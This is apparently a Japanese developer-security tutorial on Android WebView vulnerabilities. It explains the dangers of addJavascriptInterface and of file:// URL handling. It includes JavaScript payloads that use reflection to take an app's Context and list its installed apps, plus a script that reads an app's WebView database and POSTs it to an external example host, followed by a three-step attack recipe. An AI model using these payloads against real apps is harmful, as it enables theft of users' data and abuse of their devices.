はじめに
AndroidにはWebViewと呼ばれるクラスが用意されています。簡易的なブラウザの機能を提供しているクラスで、URLを渡してHTMLをレンダリングさせたり、JavaScriptを実行させたりすることができます。内部ではWebKitを使用しておりAndroidの標準ブラウザと同じような出力結果を得ることができるため、このクラスを使用することで簡単にWebブラウザの機能を持ったアプリケーションを作成できます。
しかし、その簡単さ故、使い方を誤ったり仕様をよく把握していなかったりすると、脆弱性の元になります。今回はこのWebViewクラスの使い方に起因する脆弱性について見ていくことにしましょう。
WebViewクラスとJavaScript
WebViewクラスを使用した場合、注意しなければならないのはJavaScriptを有効にした場合です。デフォルトではJavaScriptの機能は無効にされていますが、WebSettings#setJavaScriptEnabledで有効にすることができます。
addJavascriptInterfaceについて
WebViewクラスにはJavaScriptからJavaのメソッドを呼び出せる仕組みが用意されています。WebView#addJavascriptInterfaceがそれにあたります。例えば、以下のようなクラスがあるとします。
public class SmsJSInterface implements Cloneable { private Context mContext; public SmsJSInterface(Context context) { mContext = context; } public void sendSMS(String phoneNumber, String message) { SmsManager sms = SmsManager.getDefault(); sms.sendTextMessage(phoneNumber, null, message, null, null); } }
sendSMSメソッドでSMSを送信できるようなっています。このクラスをWebView#addJavascriptInterfaceでJavaScriptとバインドします。
webView = (WebView) findViewById(R.id.demoWebView); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new SmsJSInterface(this), "smsJSInterface");
これでsmsJSInterfaceという名でJavaScriptのインターフェースが作成されます。下記のようにHTMLファイルにJavaScriptを記述することで、先ほどのクラスに実装されているsendSMSメソッドを呼び出すことができます。
<script type="text/javascript"> function send() { smsJSInterface.sendSMS('123456789', 'Hello'); } </script>
このようにWebView#addJavascriptInterfaceを使用すると、HTMLファイルからJavaScriptを通して端末の豊富な機能を呼びだしたり、端末の情報を取得したりすることが可能になります。しかし、もしこのようにJavaScriptのインターフェースが実装されたアプリケーションがあるとして、誰でもどこからでも使用できるようになっていたとしたら、悪意の持ったWebサイトに誘導しそのサイトを表示したと同時にSMSを勝手に送信するなどして、好き放題できてしまいます。
また、先のサンプルのSmsJSInterfaceクラスでは、コンストラクタでContextを取得するようになっていますが、次のようにHTMLファイル内のJavaScriptから、このContextを取得することもできてしまいます。
<script type="text/javascript"> var myclass = smsJSInterface.getClass(); var myfield = myclass.getDeclaredField('mContext'); myfield.setAccessible(true); var mycontext = myfield.get(smsJSInterface); document.write(mycontext); </script>
Contextが取得できると、例えば次のように端末にインストールされているアプリケーションの一覧を取得したり、Context#getClassLoaderを使用して該当するアプリケーションがロード可能なクラスを読み込んだりできてしまいます。
<script type="text/javascript"> var myclass = smsJSInterface.getClass(); var myfield = myclass.getDeclaredField('mContext'); myfield.setAccessible(true); var mycontext = myfield.get(smsJSInterface); var mypackagemanager = mycontext.getPackageManager(); var list = mypackagemanager.getInstalledApplications(8192); for (var x = 0; x < list.size(); x++) { document.write("<br />"); document.write(list.get(x)); document.write("<br />"); } </script>
このaddJavascriptInterfaceを使用したサンプルコードではContextを保持しているだけで使用していません。将来なにかしら拡張するためにContextを取得しているつもりかもしれませんが、このように不用意にContextを保持していると、JavaScriptからも取得できてしまいます。
各調整やメンテナンスを考えることは重要ですが、安易に使わない機能を盛り込むべきではありません。
fileプロトコルについて
URLを受け取りWebViewクラスを使用してそのURL先を表示するような機能を実装している場合、fileプロトコルの取り扱いに注意する必要があります。
例えば、パッケージ名がcom.example.appというアプリケーションがそのような実装を行っているとします。また下記のJavaScriptを含むHTMLファイルを外部ストレージなど他のアプリケーションがアクセスできる場所に設置します。このHTMLファイルのURLを対象となるアプリケーションに渡すとどうなるでしょう。
<script type="text/javascript"> // ローカルのファイルを取得 var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "file:///data/data/com.example.app/databases/webview.db", false); xmlhttp.send(null); var str = xmlhttp.responseText; document.write(str); // ファイルを外部に送信 xmlhttp.open("POST", "http://www.example.com/post.php", false); xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlhttp.send("r=" + str); var ret = xmlhttp.responseText; document.write(ret); </script>
そのアプリケーションのWebViewで使用しているDBファイルを取得し、外部サイトに送信できてしまいます。この問題については、セキュリティ情報関係のメーリングリストFull Disclosureで、いくつか実証コードがすでに公表されており、XMLHttpRequestを使用した方法以外にも、iframeを使用してアプリケーションが管理しているファイルを取得するといった方法も公表されています。
http://seclists.org/fulldisclosure/2012/Feb/111
また、現在のバージョンではすでに修正されていますが、過去にクックパッドAndroid版やTwitRocker2 Android版、iLunascape for Androidといったアプリケーションで実際に同様な問題が見つかりました。
- XMLHttpRequestを使用してファイルを取得し外部に送信するようなJavaScriptを含んだHTMLファイルを作成
- 1のHTMLファイルを外部ストレージなどアクセスが制限されていないディレクトリに設置
- 2のURLを呼び出し元のアプリケーションにインテントで渡す
この方法で、他のアプリケーションからこれらアプリケーションが管理しているファイルを取得することができてしまう脆弱性です。